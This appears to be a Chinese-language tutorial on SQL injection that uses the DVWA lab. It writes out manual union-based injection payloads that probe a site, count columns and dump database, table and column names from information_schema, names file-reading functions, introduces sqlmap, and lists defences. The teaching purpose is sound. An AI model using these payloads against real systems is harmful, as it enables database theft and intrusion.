一、SQL注入危害
1.1 實例
先來通過烏雲案例瞭解一下SQL注入的危害
示例1. 中國中化通過SQL注入獲得對方服務器權限
**示例2:**飛特物流後臺注入千萬用戶敏感數據泄漏(銀行卡號、身份證照片)
1.2 危害
其危害性可造成:
- 拖庫(拿企業或高校用戶敏感數據)
- 提權拿shell(操縱對方操作系統,持續監聽、控制)
- 網站掛馬、網頁篡改、廣告位傳播
- 爲所欲爲,無視法律……
二、SQL注入含義
2.1 含義
惡意攻擊者將數據包中輸入的參數拼接成SQL語句傳遞給Web服務器,由於Web服務器的開發人員對數據的合法性沒有判斷或過濾不嚴,進而傳遞給數據庫服務器,從而導致拼接的惡意SQL命令被執行,發起SQL注入攻擊。
2.2 白話
一天,你老闆讓你去銀行辦理業務,臨走前老闆給了你一信封,上面寫着銀行業務員的指示,信件內容:
查詢a賬戶的餘額
簽名:BOSS
路途中你去洗手間時將信件放到了洗手池上,被小偷發現了,打開信封添加了如下內容:
查詢a賬戶餘額,並向b賬戶轉800元
簽名:BOSS
銀行業務員檢查你的身份,驗簽了你老闆的簽名,便按照信函中操作(於是老闆被偷了800元)
【和SQL注入相對比】
Web服務器 (你)
數據庫服務器(銀行業務員)
合法SQL代碼(老闆簽名)
惡意SQL命令(小偷添加字段)
三、實操學習所需
3.1 靶機環境搭建
目的:模擬真實環境進行注入測試練習
環境安裝如下所示(使用其它的靶機環境也可以。如搭建中遇到坎坷,可參考下方文章:
https://blog.csdn.net/Aaron_Miller/article/details/105735808)
3.2 SQL相關語法
目的:注入的核心在於注入點構造的SQL語句,構造的SQL語句最終傳遞給數據庫服務器,由數據庫服務器去執行,因此欲想手工注入深入並瞭解其原理,需必備SQL基礎命令
3.2.1 SQL基本查詢語法
》》啓動並進入數據庫(MYSQL,看到如下msyql便成功進入)
》》查看當前數據庫
》》進入dvwa數據庫,並查看其所有數據表
》》查看錶中內容(users,五行八列)
》》where語句(只查看user爲1337這一行數據)
》》order by 排序(按照user名稱進行排序)
Tips:後面的數字超過查詢表的列數時,會報錯
》》union 聯合查詢(將兩個表中同數量的列數打印出來)
Tips:兩個表的列數相對應時,才能查詢成功
3.2.2 MYSQL的特殊庫
information_schema是mysql的一個特殊的信息數據庫,保存關於Mysql服務器所維護的其它數據庫信息,其中有三個特殊表
- SCHEMATA
- TABLES
- COLUMNS
- schemata表 存放所有數據庫名
schema_name列
- tables表 存放所有數據庫對應的表名
table_schema、table_name列
- columns表 存放所有的數據庫對應表的對應列
3.2.3 SQL語法注意事項
TIPS1:Mysql查詢的字符串未閉合會報錯
TIPS2:Mysql語句要分號結尾才能查詢成功
TIPS3:Mysql的三種註釋風格:"#"、"-- “、”-- +"
(註釋後邊的未閉合的引號,同時前邊添加一個註釋掉的分號)
TIPS4:Mysql SQL語句不區分大小寫
四、手工注入實戰(MYSQL)
4.1 手工注入過程
- step1:根據數據庫邏輯命令判斷當前頁面是否存在注入點,如存在是什麼類型注入;
- step2:根據order by語句判斷當前頁面在數據庫中查詢的列數;
- step3:根據union語句判斷當前頁面顯示位(顯示位:網頁中能夠顯示構造的語句查詢出數據的位置,所有構造的SQL語句皆可在顯示位處爆數據!)
- step4:根據SQL語法爆目的站點的數據。
4.3 web服務器和數據庫交互理解
這裏使用DVWA SQL Injection面板的操作顯示來進行一個前後端的交互過程以及web服務器和數據庫服務器的交互過程,來使我們對SQL注入的原理有一步新的認識
- 正常情況下我們輸入1,web瀏覽器會顯示一個FirstName值和Surname的值
- 點擊提交按鈕,前端將字符串交給後端處理
- 後端通過相關函數獲得用戶輸入的字符串
- 進行數據庫SQL查詢預操作(此處未過濾)
- 後端web服務器和數據庫服務器建立連接
- 成功建連後執行之前後端預操作的SQL語句
- 數據庫查詢成功後將數據返回給後端
- 後端將返回的數據顯示到前端
- 最後在前端瀏覽器上進行渲染展示
4.2 手工注入操作
4.2.1 邏輯判斷注入點
》》在輸入框中輸入 “1 and 1=1”,未報錯
問:“爲何在此輸入 1 and 1=1?”
答:“通過SQL執行邏輯來判斷當前注入點”
問:“and 在SQL中的作用是什麼?”
答:“and可在where子語句中將兩個語句結合起來,and兩邊邏輯都正確時才返回true”
問:”我還是不太清楚爲何使用and?“
答:”請揣摩web服務器和數據庫交互過程後仔細觀察下方的圖片“
》》在輸入框中輸入 “1 and 1=2”,未報錯,可判斷爲非數字型注入
問:”and 1=2 不是and右邊的邏輯1=2不成立嗎,爲何又顯示出了數據?“
答:“如果and在引號裏面,整個引號裏面的數據是一個邏輯1 and 1=2,1是true,因此返回true(意思就是如果在引號中使用and無實際意義)”
》》在輸入框中輸入 "1‘ ",報SQL語法錯誤(懷疑爲字符型注入)
》》在輸入框中輸入 “1‘ and 1=1 #”,返回正常
》》在輸入框中輸入 “1‘ and 1=2; #”,沒有數據返回:可判斷爲字符型注入
由此and邏輯可判斷爲此處對數據庫進行where子語句查詢時使用的單引號進行查詢,且沒有過濾措施
4.2.2 判斷查詢列數
》》在輸入框中輸入 “1’ order by 1,2 #”,返回正常
》》在輸入框中輸入 “1’ order by 1,2,3 #”,返回語法錯誤
由order by語句邏輯可以判斷當前查詢列爲兩列(first_name、last_name)
4.2.3 顯示顯示位
》》在輸入框中輸入 “1’ union select 1,2 #”,返回出顯示位(這裏暫時不知道幾個,爲方便理解我圖中標記了下)
》》在輸入框中輸入 “1’ union select 1,2,3 #”,返回錯誤,驗實2個顯示位
4.2.4 SQL語句注入
- 驗證顯示了顯示位後便可以在顯示位上注入SQL語句
示例1:查詢當前數據庫名 , “1’ union select 1,database() #”
其它Mysql常用函數:
system_user():系統用戶名
user():數據庫用戶名
current_user() :當前用戶名
session_user():連接數據庫的用戶名
database():數據庫名
version() :數據庫版本
Load_file():讀取本地文件
Into outfile():寫文件
@@datadir:讀取數據存儲路徑
@@basedir:讀取數據庫安裝路徑
@@version_compile_os:顯示安裝版本
4.2.5 爆數據
Tips:我們可以利用前面 “3.2.2 MYSQL的特殊庫” 中的三個特殊表去顯示位中查詢數據庫中的數據
4.2.5.1 爆庫
1’ union select 1,group_concat(schema_name) from information_schema.schemata; #
TIPS:group_concat()函數能將查詢拼接起來,直觀顯示
4.2.5.2 爆表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’; #
4.2.5.3 爆字段
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’; #
4.2.5.4 爆數據
問:正確的注入語法但報錯是什麼原因?
答:編碼不統一所致,相同字段編碼爲utf8_general_ci與utf8_unicode_ci就會報如上錯誤:
解:修改表中編碼即可解決
五、注入神器輔攻
5.1 SQLMAP介紹
SQL注入神器排名第一當屬SQLMAP,其功能強大體驗便知
- 官網:http://sqlmap.org
- 使用SQLMAP對DVWA進行注入測試體驗
5.2 查找注入點
存在注入點:
5.3 查看所有數據庫
5.4 查看某庫下表
5.5 查看某表的所有列
5.6 爆數據
5.7 SQL其它使用
有關SQLMAP使用更加詳細請看其官網或我總結的另外兩篇文章:
六、注入防禦措施
- 代碼層面
- 轉義用戶輸入的內容(PHP中函數:mysql_real_escape()函數等);
- 限制輸入長度;
- 使用SQL語句預處理(對SQL語句首先進行預編譯,參數綁定,最後傳參)
- 網絡層面
部署防火牆
- 其它層面
定期網站安全滲透測試